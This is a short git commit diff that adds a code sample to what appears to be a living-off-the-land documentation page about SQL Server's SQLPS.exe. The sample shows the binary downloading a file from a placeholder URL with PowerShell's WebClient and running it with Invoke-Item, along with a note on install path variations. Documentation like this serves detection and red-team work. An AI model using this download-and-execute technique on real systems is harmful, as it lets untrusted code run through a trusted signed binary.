Added code sample and a note about the path to Sqlps.exe page

master
James McLean 2018-04-22 10:46:42 +09:30
parent 6fc1d5d730
commit 562ea07a0b
1 changed files with 14 additions and 2 deletions

View File

@ -10,7 +10,19 @@ Acknowledgements:
* Bryon - @bryon_
Code sample:
*
* Downloading & executing a file
```
C:\Users>"C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\SQLPS.exe"
PS SQLSERVER> (New-Object net.webclient).downloadfile("http://<source file URL>","<local save path>")
PS SQLSERVER> ii <downloaded executable>
# ii is shorthand for Invoke-Item
```
Notes
* Path above may vary slightly. If '100' is invalid, try replacing '100' with '110', this was required in a lab setup.
Resources:
* https://twitter.com/bryon_/status/975835709587075072